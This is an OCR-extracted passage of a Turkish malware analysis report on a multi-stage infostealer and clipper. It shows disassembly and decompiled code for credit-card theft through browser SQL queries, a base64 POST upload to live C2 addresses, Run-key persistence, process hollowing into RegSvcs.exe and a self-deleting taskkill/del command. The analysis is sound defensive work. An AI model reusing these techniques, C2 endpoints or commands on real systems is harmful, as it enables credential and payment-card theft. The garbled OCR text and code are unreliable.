#|0138C21A| - EB 11 jmp yeni.138c220

G E .

«

253.18.213:80 L Notfications «Q

. Text:0138C201 yeni.exe:$C201 #BGOL

w4 pokom2 | 44 Dokum3 | 44 Dokumé | w4 okims | @ Ele1 [ 1o Yerel Degiskenter | ) vapr |

002589F3 |68 65 G 2€ 32fRello http://5. 2|
00258403 |3 8 3¢ 0a53.18.213:80 ">,
00258A13 ERED .
00258423 "twd itle” 2 Join Channel
00258433 ntel i

00258443 i

eax=00282FE8 |"http

44 Dokiml VIEW CHANNEL

IP adresini almaktadir.

N I..,\\.\ TP istegi atilir, gelen response deg
Telegram ad : ayni iglemler sirayla uygula

adresle IP adresi he! mesi ve |

yazilmistir. Pre 1€ 2sponse sindeki IP/a

arasindaki de

Telegram Adre

t[.Jme/myltgz
t[.Jme/babyflz

t[.Jme/slzsx

ST ) M MylittleG Babyflow

S criber 1 subscriber 1 subscriber
Description Description Description
hello http://5.253.18.213:80| hello http://5.253.18.213:80| hello http://5.253.18.213:80]
t.me/slzsx — tme/myltgz o0 t.me/babyflz g8
Invite Link o Invite Link o Invite Link
Notifications Notifications Notifications
on «© on « = «©
Join Channel Join Channel Join Channel

Sekil 28- ilk Telegram adresine ulasamamasi halinde yedek Telegram adresleridir.




Zararl, buradaki IP Gzerinden srand ve rand fonksiyonlarini kullanarak elde ettigi

rastgele bir saylyi isim olarak kaydeder ve bu isimle kullanacag third-party DLL’ler

olan ZIP formatinda sikigtiriimig dosyayi indirmektedir.

—— a U

[T S50 push eax eax: "http: //5.253.18.213: 80,/8639745224.2z1ip"
. ES B11F0000 call yeni - kopya.ll1B8E9F7

. BF 2CEF1EO01 mov edi,veni - kopya.llEEBF3C edi:"http://5.253.18.213: 80"

. 57 push edi edi:"http://5.253.18.213: 80"

. 52 push edx

. 50 push eax eax: "http: //5.253.18.213: 80,/8639745224.zip"
L] ES 33COFFFF call yeni - kopya.1183E1C

] 83C4 10 add esp,10

. 53 push ebx

. AZ F4531C01 mov dword ptr ds:[11C53F4],eax eax: "http: //5.253.18.213: 80/8639745224.z1p"
. FF15 Zz85E1D01 call dword ptr ds:[<&5Teepx]

. 53 push ebx

L] FF15 285EiD01 call dword ptr ds:[<&5leep=]

Sekil 29xindirilen third-party DLL dosyasinin adidir:

indirilen third-party DLL dosyalari zararlinin stabil galismasi i¢in gerekli olan

tamamlayicilardir.
|Z| msvcpld0.dil 05.09.202210:49 Uygulama uzantisi 440 KB
%) nss3.dll 05.09.2022 10:49 Uygulama uzantisi 1.999 KE
|%| softokn3.dll 05.09.2022 10:49 Uygulama uzantisi 252 KB
% sqlite3.dll 05.09.2022 14:30 ygulama uzantisi 1.082 KB
|%) freebl3.dll 05.09.2022 10:49 Uygulama uzantisi 670 KB
|%| mozglue.dll 05.09.2022 10:49 Uygulama uzantisi 594 KB
| %] veruntimel 40.dIl 05.09.2022 10:49 Uygulama uzantisi 79 KB |

Sekil 30- indirilen third-party DLk.dosyalari bunlardir.

4385881 "CLEXFRAZ7CFW2MNCPO090UENDTO40WXKHET KP7 HLDM49QIP7 45 W2 2ZEYSGXUWD GEKDS01PDWR TOEC OEE5 EQAS A4SCMPDINVH"
00445218:&"SELECT name, value FROM autofill™, eax:"SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards"

43B84FC: "6KUUVIXSOIE INIWZE1Z SXGGIUMLPASSE7GI2GTLERE"
eax: "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards”

Sekil 31-Zararli, gérselde SQL sorgusu ile var ise kredi karti'bilgilerini browser lizerinden elde etmektedir.

Zararli, bilgisayar 6zelliklerini toplayip information.txt adinda bir dosya igerisine

yazmaktadir.

57 | push edi |ediz"\n\n"
888D 3C040000 mov edi,dword ptr ss:febp+43C
8975 88 mov dword ptr ss:febp ],e,
3933 cmp dword ptr ds:[ebx],esi
¢+ 74 0OC je yeni - kopya. 1190052
83FF 04 cmp edi, 4 edi:"\n\n"
v 74 07 je yeni - kopya.llSDDSZ
C745 88 0C000000 mov dword ptr ss [~bp 58, R
88§§ 30040000 |mov eax,dword ptr ss:febp+430] |[ebp+430]: information. txt

§ekll 32- B//g/sayar hakkinda topladigi bilgilerin bulundudu txt dosyasinin adidir.




A
y

3

83C4 0OC
8D45 80

53

50
&8 13010200

68 9CB41B01
&8 02000080
FF15 EQSE1DOL

add esp,C

lea eax,dword ptr ss:|febp-30]
push eax

push 20119

push ebx

push wyeni - kopya.llBB43C
push 80000002

cdll dword ptr ds:[<&ReglpenkKeyExA>]

Bu bilgilerden bazilari icin Kayit Defterine erisim saglamaktadir.

11BE49C: "SOFTWAREY M1 crosoft\ \Cryptography™

Sekil 33- Machine GUID.

Zararli, kayith kredi kart

etmektedir.

85C0 test eax,eax
~ 75 1B jne yeni - kopya.1196524
8045 54 lea eax,dword ptr ss5:|[Jebp-7C[)
[ {u} push eax
8DS5 53000000 lea eax,dword ptr ss:|[febp+ss]
50 push eax
L3 push ebx
53 push ebx
68 90E41EB01 push wyeni - kopya.llBE430 11EE490: "MachineGuid”
FF75 B0 push dword ptr ss:[Jebp-20j
FF15 C45E1DO1 r-z'l'l Awnrd ntr do-CefBannneryviialiiacy i
FF75 BO o L.
FF15 G85F1D01 Qkayll Defteri Dizenleyicisi
8045 88
50 Dosya Dizen Gorindm  Sik Kullanilanlar  Yardim
8D85 88000000 § "
50 a- | Microsoft ~ || ad
FF15 1CSE1IDO1
e b -l .NETFramework gﬂ(‘u’arsa}rllan)
C746 14 OF000000 1 s+ 0 Active Setup b : .
895E 10 b ab| MachineGuid
co s - ADs il
SECE 1 o - L Advanced INF Setup
8B1E f -
ES 13EAFEFF NTAT]
2050 8010000 ] o 1) ASP.NET E
gECD 5~ | Assistance
te i | BidInterface i
EE& &648A0000 -
81C5 8C010000 b coMm3
<9 - | Command Processor
C2 0400 : .
cS »- 1 Connect to a Network Projector
gEEC 1 al | Cryptography

bilgileri varise browser zerinden SQL sorgusu ile elde

SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards

.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata
.rdata:

:0136B1B38
:0136B1B9
:0136B1BA
:0136B1BB
:0136B1BC
:0136B1CA
:0136B1CC
:0136B10DD
:0136B1E0
:0136B1E7
:0136B1E3
:0136B1EF
:0136B1F0
:0136B1F8
:0136B1FF
:0136B200
:0136B200
:0136B20E
:0136B210
101368214
:0136B218
1013682138

@136B26C

unk_136B1B8 db 22h : "
db 7Dh ; }

do @

do @

akEncryptedKey db ‘encrypted key',8

align 4

aB12345678%abcd db '0©123456789ABCDEF',0 ;

align 18h
aCard db "Card:
align 4

a¥Year db ‘Year:
align 18h
aMonth db 'Month: ',@

aMame db 'Name: ',@

align 10h

; const char aCcSSTxt[]
aCcSSTxt db "\CC\%s_%s.txt',0
align 10h

a22 db ":22",8

align 8

aSoftwareMartin_0:

text "UTF-16LE",
align 18h

l,@

l,@

2

DATA XREF:

DATA XREF:
DATA XREF:
DATA XREF:
DATA XREF:

DATA
DATA

XREF:
XREF:

DATA XREF:

DATA XREF:

DATA XREF:

[Fa]

[Pl

l

oo [Pl

A

=

ub_13426D2+7C1

ub_13426D2+4E1
ub_1342B7C+121
ub_1343498+1BB
ub_1343498+19C
ub_1343498+17F
ub_1343498+15E
ub_1343498+BE1
ub_1343E38:1oc

ub_1343E38+1B2

'Software\Martin Prikryl\WinSCP 2\Sessions',@

Sekil 34- Kredi karti bilgilerini calmak icin SQL sorgusunu kullanmadan 6nce burada stringlerini ¢éziimlemektedir.

y
B .

/
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65[.]109[.]5[.]131 IP’si Uzerinden rastgele bir isimle “C:\ProgramData” dizinine yeni bir
PE32/EXE indirmektedir.

Bilgizayar » Yerel Disk (C:) » ProgramData »

fits Yaz Yeni klasar
nlar Ad
faklemeler J Microsoft
J Microsoft Help
, Oracle
/| Package Cache
Yidware

(87 06939696213237510750.exe

Sekil 35- indirilen EXEniny@ni adl.

Sy

‘e 50 push eax eax: "C:\\ProgramData\06339696213237510750. exe"
. E8 86590100 call yveni - kopya.l19EFS0

. BD45 E4 lea eax,dword ptr ss:|[Qebp-1C]

. o push eax eax:"C:\\ProgramData‘’ 06939696 7510750. exe"
. 8045 FO lea eax,dword ptr ss:|[ebp-10]

. o push eax eax:"C:\\ProgramData‘’ 06939696 7510750. exe"
. 56 push esi

. E8 ALGEOD100 call veni - kopya.llAD47D

. 83C4 24 add esp,z4

. B945 EC mov dword ptr ss:|lebp-14),eax [ebp-14]:"http://65.109.5.131/4ks0a92jsal. exa"
. 3975 EC cmp dword ptr ss:|flebp-14),esi [ebp-14]:"http://65.109.5.131/4ks0a92]sal.eexe"
] -~ 0OF85 3I8FFFFFF jne yeni - kopya.118951F

Sekil 36- Gérselde indirilen EXEnin,indirildigi yerdeki orijinal adi ve degistirilmis adi gériilebilmektedir.

Elde edilen IP adresi incelendiginde bir Admin Paneli ile karsilasiimistir.

Welcome!

Sekil 37- C2 sunucusunun Admin Paneli.

D . > |
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Des adinda sikistiriimis bir ZIP dosyasinda tum topladigi bilgileri tagimaktadir.

ChUsers\zorroh Desktophdownload.ziph\Files\,

Dosya Diazenle Gardndm  Sik Kullanilanlar - Araglar Yardim
=]
b = v W = X i
Ekle  Aykla  Smna  Kopyala Tag Sil Bilgiler
5 i ChUsers\zorro'\Desktop download.ziph\Filesh,
Boyut  Paketlenmis B... Degistirilme
283291 283291 2022-10-31 04:59

Sekil 38- Bilgileri iceren ZIP dosyasi.

5[.]253[.]18[.]213/1636 URL'ine Des.zip dosyasi BASE64 ile encode edilerek POST

metodu ile gonderilmektedir.

FFEi> A%

FF15 106041D01

8945 AC
3BCT
OFE4 D4020000

397D B4

puSn uworu pLr S5Tpeup—soy
€all dword ptr ds:
mov dword ptr ss:[febp-S4], eax
cmp eax, edi

je veni - kopwya.llB8E9C1

push edi

[<&InternetConnectis]

cmp dword ptr ss:[febp-4cf, edi
74 07 je yeni - kopya.llS8ESFA
&8 0001C000 push C0O0100
EE 05 jmp yeni - kopya.llB8ESFF
&8 00014000 push 400100
57 push edi
57 push edi
&8 10AE1BO1 push yeni - 49:ya.1154513 11BAEL1Q: "HTTP/1.1"
FF75 AB push dword ptr ss:|[lebp-s&f)
&8 OBAE1BO1 push yveni - kopya.llBAEODS 11BAEDQS: "POST"
FF75 AC push dword ptr ss tfebp-5 4

FF15 54601001 €all dword ptr ds:[<&HLtpOpenfequesti=]
8345 E4 mov dword ptr ss:|Jebp-4c, eax

IBCT cmp eax,edi

v 0OF84 9F030000 je veni - kopya.llBE9C1

53 push ebx ebx: "
8085 FS1F0000 Tea eax,dword ptr ss:[lebpt+1FFs]
50 push eax

FF15 B85FiDO01 €all dword ptr ds:

[<&1strcat>]

Sekil 39- Bilgilerin C2 sunucusuna génderildigi fonksiyon.

“Windows\\System32” igerisindeki cmd.exe ile gorseldeki komutu ¢alistirip EXE
processi sonlandirir, EXE ve indirdigi DLL 'dosyalar: silinir.

99825

eax: "C: \\Windows\\System32

[<&shellExecuteA>]

ss: Jebp-64J
11849F9

Sekil 40- Zararli faaliyetler bittikten sonra ¢alistirilan komut.

(“ x/c taskkill /im {exe adi} /f &timeout /t 6 & del /f /q \"C:\\Users\\{kullanici
adi\\Desktop\\{exe adi}\” & del C:\\Programdata”.dll &exit




4ksoa92jsal.exe Analizi

Adi 4ksoa92jsal.exe

MD5 8c6h2f5a977a712da041e66f3189cdd4

SHA256 | f074954a72991fd39600285df6a293d80f51d9a5982583¢47bb25eabe89ed59c
Dosya PE32/EXE

Taru

Genel Bakis

internet lizerinden- rastgele.bir isimle indirilen PE32/EXE-baska bir-shellcode igin
gecis kapisi-olmaktadir. Ek olarak, bulundugu makina hakkinda islemci-sayisi gibi
bilgileri alarak bunlart sanal makine kontrolu yani bir nevi Anti-Debug teknigi olarak
kullanmaktadir. _Bu  iglemleri . yaparken analizi zorlastirmak. icin _bazi alakasiz

fonksiyonlar bulundurmaktadir.

Detayli Analiz

ShowWindow ve GetConsoleWindow APIl’leri dinamik olarak yuklenmistir. APl'ler

cagrilarak terminal ekrani gizlendi.

011038DB 33Ch xor eax,ebp
17 D 8945 FC mov dword ptr ss:|[ebp-4],eax

68 c44B1801 push 4ksoa%92jsal.1184Bc4 1184BC4 :"user32.d11"
68 DO4B1B01 push 4ksoa92jsal.1184BD0 1184800 : " Showwindow"
EE FIFIFFFF call 4ksoa92jsal.1102AEQ
83c4 08 add esp,8
A3 40962501 mov dword ptr ds:[<&Showwindow=],eax
68 DCAB1E01 push 4ksoa%92jsal.1184EDC 1184BDC: "kernel32.d11"
68 EC4B1E01 push 4ksoa%92jsal.1184BEC 1184BEC: "GetConsolewindow"
ES DAFLIFFFF €all 4ksoa92jsal.l1l02AEQ
83C4 08 add esp,8

Y C 8945 D4 mov dword ptr ss:|lebp-2C],eax

011 ( 6A 00 push 0

FF55 D4 call dword ptr ss:[ebp-2C] GetConsolewindow

011 1 50 push eax

011 2 FF15 40962501 call dword ptr ds:[<&Showwindows=] showwindow

01103918 8D45 D8 lea eax,dword ptr ss:llebp-28]

Sekil 41- Terminalin gizlenmesi.
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Yukaridaki 1102AEOQ fonksiyonunun igerisinde API’ler yuklenmektedir.

5D pop ebp

893D 3CO964E01 mov dword ptr ds:[<&GetProcAddress>],ed

8B45 OC mov eax,dword ptr ss:|[lebp+C] [ebp+C] :"user32.d11"
50 push eax

Al 44964E01 mov eax,dword ptr ds:[<&lLoadLibraryas]

FFDO call eax

8945 F4 mov dword ptr ss:[ebp-C],eax

8845 08 mov eax,dword ptr ss:[ebp+E&] [ebp+8] : "showwindow™
50 push eax

8845 F4 mov eax,dword ptr ss:|febp-C]]

50 push eax

Al 3C964E0L mov eax,dword ptr ds:[<&GetProcAddresss>

FFDOD call cax

Sekil 42- Yiiklenen APIlar sekilde goriilmektedir:

islemci gekirdek sayisinin 2’den biyik olup olmadigina bakarak sandbox/sanal
makine icinde olup olmadigdini kontrol etmektedir.

4ks50a927s5a1.01103918

lea eax,dword ptr ss:[ebp-28]

push eax

€all dword ptr ds:[<&GetSystemInfo>]
mcmp dword ptr ss:|lebp-14],2

jbe 4ksoa%92jsal.110392D

£
4ks0a92isal.01103928
€all 4ksoa92jsal.1103850

|

4ks0a92js5al.0110392D
mov ecx,dword ptr ss:[lebp-4]
xor ecx,ebp
€all 4ksoa92jsal.1124173
mov esp,ebp
pop ebp
ret

Sekil 43- [slemci ¢ekirdek sayisini kontrol'etmektedir. /Duruma gére fonkisyona girmekte veya atlamaktadir.

Program malloc fonksiyonu ile bellekte buyuk bir alan ayirir. Ayrilan alana memset
fonksiyonu ile veri yazilir. Bu sayede zararli, analiz ortaminda olup olmadigini

anlamaya calismaktadir.

C7453 FC 00000000
68 00CASA3E

mov dword ptr ss:|lebp-4],0
push 3B9ACADD

E8 F3270400 €all 4ksoa92jsal.141605A malloc
013D3867 Bic4 04 add esp,4
013D386A 8945 FC mov dword ptr ss:[[ebp-4],eax
013D386D 837D FC 00 cmp dword ptr ss:|febp-4],0
v 74 52 je 4ksoa92jsal.13D38BCS
68 00CA9A3B push 2B9ACADD
68 D5000000 push D5
BB45 FC mov eax,dword ptr ss:[lebp-4]
50 push eax
E8 EA300200 call 4ksoa92jsal.13F6970 memset
83c4 0OcC add esp,C
BE4D FC mov ecx,dword ptr ss:[lebp-4[]
51 push ecx
E8 AcC080400 call 4ksoaf92jsal.141413€ _free_base
83C4 04 add esp,4

Sekil 44- Sandbox Detection Teknigi




Stage-5 asamasi igin shellcode’un bulundugu alana RWX izinleri verilmektedir.

VALIDUDI LD LIIIIJ' U W |J'LI o> ..I‘_‘IJIJ—JL.lL.I
013D35D7 19 4ksoa92js5al.13D35EC
013D35D9 ea ecx,dword ptr ss:lebp-14]
013D350C push ecx

013D35DD push 40

013D35DF push 77E

013D35E4 ush <4ksoa92jsal.sub_1526938>

L L X XXX XX

dugu adrese atlar. Bdylece Sta

L e g T

013D3623 add eax,esi
013Dp3e25 je 4ksoaf92jsal.13D3629
013Dp3627 jne 4ksoa92jsal.13D3629
013D3629 mov ecx,0
013D362E push ecx

eaxgsub_1525ABQ

013D3631 €745 FC FFFFFFFF
013D3638 8D4D D4

) &V

ndugu a

ptr ss:[febp-4

wor ,FFFEFFFF
lea ecx,dword ptr ss:[le

Sekil 46- Shellcode’u




Stage-5

Adi -
MD5 922c420d866ad669e44df455afa467cd
SHA256 | 5046a7d6fab278751cb0f43fdf4aadb25678fdec7d51dael5263457d3f8559a7

Dosya Binary

Taru

Genel Bakis

Shellcode  legal bir uygulama olan RegSvcs.exe'yi suspended modda
CreateProcessW API ile baslatmaktadir. Zararli, icerisinde bulunanPE32/EXE’yi
RegSvcs.exe( icerisine enjekte veder. ResumeThread API kullanarak suspended
modu kapatiimakta ve EXE'yi ¢aligtirmaktadir.

Detayh Analiz

CreateProcessW API ile suspended modda RegSvcs.exe processi olusturulur.

qush eax

ea eax,dword ptr ss:[lebp-158]
push eax

push edx

push edx

push 4

push edx

push edx

push edx

push dword ptr ss:|[ebp+C]

push dword ptr ss:[ebp+&] [ebp+8]:L"C:"\\Windows"\Microsoft. NET" \Framework"v4.0.30319" \Reg5vcs. exe”
call dword ptr ss:[ebp-7C] kernel32.CreateProcessw

Sekil 47- RegSvcs.exe processini olusturmaktadir.
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Zararl, ilk olarak kendi belledi icerisinde bir alan ayirmakta daha sonra ise

RegSvcs.exe’nin belleginde bir alan ayirmaktadir.

=

012B6E1C
0125§E1E

.~ OF85 75020000

6A 40

68 00300000
FF76 50

33c0

50

FF95 74FFFFFF
BBFE

85FF

OF84 58020000
6A 40

68 00300000
FF76 50

FF76 34

FF75 E4

FF535 DC

8945 FC

push 40

push 3000
push dwor
XOr eax,e
push eax
c€all dwor
mov edi,e
test edi,

push 40

push 3000
push dwor
push dwor
push dwor
call dwor

jne 4ksoa92jsal.12B706A

d ptr ds:[esi+50]
ax

d ptr ss:[lebp-&c]
ax
edi

je 4ksoa92jsal.12B706A

d ptr ds:[esi+50]
d ptr ds:[esi+34]
d ptr ss:|lebp-1c]
d ptr ss:flebp-24]

mov_dword ptr ss:lebp-4], eax

Sekil 48- VirtualAlloc'ile kendi-belleginde alan agmaktadir.

Protection: 40 (RwWX)
Allocation: 3000 (MEM_COMMIT | MEM_RESERVE)
Size: 000CEQOO

0
virtualalloc

Protection: 40 (RwWX)

Allocation: 3000 (MEM_COMMIT | MEM_RESERVE)
Size: 0O0CEO0O

00400000

64

virtualAllocEx

Zararl, EXE’i VirtualAlloc ile ayirdigi alana memcpy fonksiyonu ile yazdirmaktadir.

012B6EGD

012B6E7 3
012B6E74
012BGE7F7
012BGE79
012B6E7E
012B6EYE
012B6EB2
012B6ES4

= LFF76 54

894D F4
. ©6:3B646
.~ 73 2E

8B5D (B8

06

push dword ptr ds:|lesi+54] 400

push dword ptr ss:|lebp+10] 011EDE2B (MZ)
push edi 00380000

€alll dword ptr ss:|lebp-3cl ntdl11. memcpy

Xor ecx,ecx
Xor eax,eax

mov dword ptr ss:[[ebp-C]J,ecx
cmp ax,word ptr ds:[esi+6]
jae 4ksoa92jsal.l12B6EB2

mov ebx,dword ptr ss:[lebp-3E&]

Sekil 49- memcpy APl ile ayrilan alaha EXE’yi yazmaktadir.

Zararl, icerisinde bulunan EXE'yi. kendi bellegi icinde ayirdigi alana memcpy

fonksiyonu ile yazmaktadir. Yazdigi bu alandaki EXE’yi WriteProcessMemory API

eax:L"athan”

kullanarak RegSvcs.exe igerisine enjekie etmektedir.

50
FC
E4
Do

0c010000

jb" 4ksoag92jsal

xor ebx,ebhx
push ebx

push dword ptr
push edi

push dword ptr
push dword ptr
€all dword ptr
TesT eax,eax

je 4ksoa92jsal

12B6EED

ds:[esi+50]
55 :[febp-4]
55:[ebp-1Cl
55:|[ebp-30]

128706C

8 (*1pNumberofByteswritten)
(boyut
00380000 (EXE'nin pointeri)

(Regsvcs icerisinde allocate edilen alamin pointeri)

64 (handle RegSvcs. exe)
wriTeProcessmemory

Sekil 50- WriteProcessMemory APl ile yazilan EXE RegsvcS.exe igerisine enjekte edilmektedir.

4
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Zararl, VirtualProtectEx API kullanarak EXE’nin enjekte edildigi adrese ilgili izinleri

vermektedir.

012B6FC6(| . 40 inc eax

> BDBD 68FFFFFF lea ecx,dword ptr ss:[lebp-98]
012B6FCD|| . 51 push ecx 1pfloldpProtect
o12e6FCE|]. 50 push eax 20 (PAGE_EXECUTE_READ)
012B6FCF||. FF73 E4 push dword ptr ds:[ebx-1c] 419e6 (boyut)
012B6FD2(| . 8B43 ES8 mov eax,dword ptr ds:[ebx-18]
012B6FD5|| . 0345 FC add eax,dword ptr ss:[[ebp-4] [ebp-4]:L"athan"
012B6FD8|| . 50 push eax
012B6FDI||. FF75 E4 ush dword ptr ss:|lebp-1c 64 (handle Regsvcs)
012B6FDC|| . FF55 BC h dword ptr ss:[ebp-44 virtualProtectEx
012B6FDF|]. B85CO0 test eax,eax
012B6FELl|] .~ 74 12 je 4ksoa92jsal.12B6FF5
012B6FE3||. 8B4D F8 mov ecx,dword ptr ss:|lebp-8]
M2R 0 RIc3 28 ardd _?R

Resume arak  RegS alistirilma

lea eax,dword ptr ss:[lebp-424[)

push eax QO0ZEEBQ

moduna geg¢

012B702C||]. 8BDBS DCFBFFFF
01287032|]. 50

012B7033|]. FF75 E8 ush dword ptr ss:|lebp-18 60

012BE70326||. FF95 78FFFFFF dword ptr ss:[ebp-88 SetThreadContext
012B703C|]. 8&5CO0 test eax,eax

012B703E(] .~ 74 2C je 4ksoa92jsal.12B706C

01287040 FF75 E8 push dword ptr ss:|[ebp-18 60

01287043
01287049

FF95 G6CFFFFFF dword ptr ss:[febp-94 ResumeThread

Sekil 52- Suspended modda olan alisma haline gecm




punpun.exe

Adi punpun.exe

MD5 6ab97d095d94a0845307483ef2136ela

SHA256 285c1a9c4al1f19367e52234b6fad45ee24b3f91e7a9bde5270252e731ed9fb9c
Dosya PE32/EXE

Taru

Genel Bakis.

Zararlnilk once kendisini “C:Users\\Username\\Appdata\\Microsoft\\punpun:exe”
olarak kaydetmektedir. Daha sonra socket baglantisi agip 79[.]137[.]196[.1121 IP
adresine “AddUser:rawxdev”  bilgisini-mmgondermektedir  ardindan  Socketi
kapatmaktadir. Kendisini kayit defteri icerisinde
“Bilgisayar\HKEY_ CURRENT USER\SOFTWAREWMicrosoft\Windews\CurrentVe
rsion\Run” dosyasina oyasumi olarak kaydetmektedir. Daha sonra sonsuz déngu
icerisinde Clipboard Uzerinden "gelen stringlerin kiyaslanma durumuna gore

Clipboarda ilgili veriyi yazar.

Detayli Analiz

Zararl kendisini “C:Users\\Username\\Appdata\\Microsoft\punpun.exe” yoluna ve

oyasumi adi ile Run’a kaydetmektedir.

SHATloc(@xE9u);
vl = GetModuleHandleli(@);
GetModuleFileNameA(v®, Filename, @x1@3u);
SHGetFolderPathA(®, 26, @, @, pszPath);
sub_4B1AE@(pszPath, "\\HicP050$t\\punpun.exe“, (int)NewFileMName);
result = (HINSTANCE)CopyFileA(Filename, NewFileName, 1);
if ( result )
{ .
sub 481FD@(aAdduserRawxdev);
Run_key = Run_path();
RegOpenKeyExA(HKEY_CURRENT_USER, Run_key, ©, ©xF@@3Fu, &phkResult);
RegSetValueExA(phkResult, oyasuml“, @, 1u, (const BYTE *)MNewFileName, @x3Fu);
RegCloseKey(phkResult);
result = sub_401CBA();

Sekil 53- Run igerisinde “C:Users\\Username\\Appdata\\Microsoft\\punpun.exe” olarak kaydedilmektedir.
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Soket agilarak belirtilen IP adresine baglaniimakta ve “Adduser:rawxdev” verisi

yollanmaktadir.
8 WSAStartup(2u, &WSAData);
9 s = socket(2, 1, @);

=

1 inet_pton(2, "79.137.196.121", &name.sa_data[2]);
11 name.sa_family = 2;
12 *(_WORD *)name.sa_data = htons(@x5D0u);
13| connect(s, &name, 16);
14, vl = lstrlenA(lpString);
15 send(s, 1pString, vl, @);
closesocket(s);
return WSACleanup();
}

0o

Sekil 54

Zararll,, ~encoded halde bulundurdugu PE32/EXE’yi decode = ederek
“C:Users\\Username\\Appdata\\Microsoft\Windows\\InfoDebug.exe” adiyla

olusturur. ShellExecute‘ile bu uygulamayi ¢ahstirir.

SHGetFolderPathA(®, 26, @, @, pszPath);

for (1 =0; 1< 586688; ++i )
byte 44D@@B[i] *= 7u;
sub 461AEB(J< Path "\\MlcFosoft\\Hlndows\\InfoDebug.exe", (int)FileName);

t = CrecteFlleA(F___\ ame, @x40000000u, 1u, ©, 1lu, Ox80u, @);
ule = Get“oculeHcrcleH(L kernel32.d11");
WriteFile = (BOOL (_ stdcall *){(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED))GetProcAddress(hMod
WriteFile(hObject, byte_44Deee, 500600, &1, 0);
CloseHandle( L:t);
return ShellExecuteA(@, "open"”, FileName, 8, @, 0);
H

le, "WriteFile");

m

Sekil 55- 7 ile xorlanmis EXE decrypt edilip ¢alistiriimaktadir.

Son olarak Clipboard uzerindeki string verilerin uzunluguna goére belirledigi

fonksiyonlari calistirarak Clipboarda ilgili veriyi yazdirmaktadir.
while ( 1)
{
1pstring = (const CHAR “
i pStr if ( l10penClipboard(®) )
return @;
n __int8)sub_4813A@(1pString) ) Mem = GetClipboardData(lu);
trlng) if ( hdem )
int8)sub_4013E0(1pString) ) {
sub. 4@1F36(a3p35rtmfbu]y01) vl = GlobalLock{hMem);
if ( (un __int8)sub_A4812E@(1pString) ) i ()
subj.@ Bclqaddssdjgnr‘) {
if ( int8)sub_40134@(1pString) ) GlobalUnlock(hMem);
sub. 4@1F36(aE(1qadd68d]gnr) Close[llpbo rc()
if ( (un __int8)sub_401000(1lpString) ) result = vi;
subj.@ BxalealFeQ?bB) }
if ( int8)sub_4016A@(1pString) ) else
sub 4@1F36(a45pvt(fnk08(wb) {
if ( (u __int8)sub_4016F@(lpString) ) result = @;
sub_40 ASpvthnkoS(wb) }
if ( (un int8)sub_4014Ad(1pString) ) 1
sub 4@1F36(aT117ng(nnk30q) else
if ( (unsigned _ int8)sub_40123@(lpString) )
<ilh 491F307 AXvanRkwknvnvh) -

Sekil 56- Clipboard lizerinden alinan verinin uzunluguna gére fonksiyonlari ¢alistirmaktadir.




InfoDebug.exe

Adi InfoDebug.exe

MD5 fobdOae4f12b4c659ec42b4791491a5f

SHA256 | 830e35f3a2eb8c01178a7af2d1b4b83cd00ca4c283117ad7598edd39cecObe77
Dosya PE32/EXE

Taru

Genel Bakis

Zararll; cpuid-komutu ile analiz ortaminda olup olmadigini kontrol-ederek analisti

alakasiz

fonksiyonlara  yonlendirmeyi  ve = analiz  surecini  zorlastirmayi

hedeflemektedir. “Ayni-zamanda;. bir sonraki stage’ gegisinin. saglandigi program

akisinda alakasiz ve gereksiz fonksiyonlarin ardindan bellekte RWX izinleri ile ayrilan

alana shellcode yazilmakta ve caligtirimaktadir.

vl = xmmword 423D40;
cpuid fonk(&v4);
if ( (SDWORD2(v4) & 9xS80000000) == 0 )

{

sub_401088() ;
sub_40F9Ca(*arzv);

h

else

{

sub_40F5B8();

h

return @;

Sekil 57- cpuid ile cpu bilgisi almaktadir.
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Stage-8

Adi -

MD5 8c6b2f5a977a712da041e66f3189cdd4

SHA256 | f074954a72991fd39600285df6a293d80f51d9a5982583¢c47bbh25eabe89ed59c
Dosya PE32/EXE

Tard

Genel Bakis

API Hashing teknigini kullanarak gizledigi APl'leri ¢ozumlemektedir. VirtualAlloc
kullanilarak bellekte alan ayirmaktadir. Ayrilan alana memcpy ile Stage=9 PE32/EXE
yazdirmakta ve VirtualProtect ile:RWX izni vermektedir. ShellExecuteA API ile EXE
calistirlir.

-@| 00020493 ~ 75 05 jﬂe 20494
-8 0002 ~+ E9 9p000000 jmp 20837
»@| 0002 864D 08 mov ecx,dword ptr ss:[ebp+8]
| 0002 8651 08 mov edx,dword ptr ds:[ecx+8]
| 0002 8842 54 mov eax,dword ptr ds:[edx+54] edx+54:"rogram cannot be run in DOS mode.\r“rn$"
. 50 push eax 004BF14
. 8B4D 08 mov ecx,dword ptr ss:[ebp+8]
. BB51 OC mov edx,dword ptr ds:[ecx+C]
] 52 push edx stage7_000F6880
. 8845 08 mov eax,dword ptr ss:[ebp+E]
. 20AAE BB48 1C mov ecx,dword ptr ds:[eax+1C]
®| 00020AB1 51 push ecx 400000
[T 00020AE2 | FF55 EO call dword ptr ss:|ebp-20] memcpy
@| 00020AES 83C4 0C add esp,C
. 8B55 08 mov edx,dword ptr ss:[[ebp+8]
. 8B42 08 mov eax,dword ptr ds:[edx+8]
. 884D 08 mov ecx,dword ptr ss:[ebp+8]
. 8851 08 mov edx,dword ptr ds:[ecx+8]
. OFB74A 14 movzx ecx,word ptr ds:[edx+14]
. 2 . 8D5408 18 lea edx,dword ptr ds:[eax+ecx+18]
| 00020ACC 8955 EC mov dword ptr ss:[febp-14],edx

4 I
00

N : 0D4B

1 4 Dikimz Wl Dikiim3 Wl Doikiim4 &l Diikiim5 & fle1 lx=| Yerel Degigkenler 2 Yapi
Hex ASCII . | QU4BFA
4D 5A 90 00|03 00 00 00|04 00 00 OO|FF FF 00 O0|MZ.......... VY- - ngggi
B8 00 00 00|00 00 OO0 00 (40 00 00 00|00 00 00 00| ,....... @....... EIE\_‘BF_'
00 00 00 00|00 00 OO 00|00 OO 00 O0(00 00 00 O0|...vmuinenonnn. EI(\_‘BF_'

OFE 1F BA OE|00 B4 09 €D|21 B8 OL 4C|cD 21 54 68|..°.. .%!..LEITh e

74 20 62 65|20 72 75 G6E|20 69 6E 20(44 4F 53 20|t be run in DOS Ak
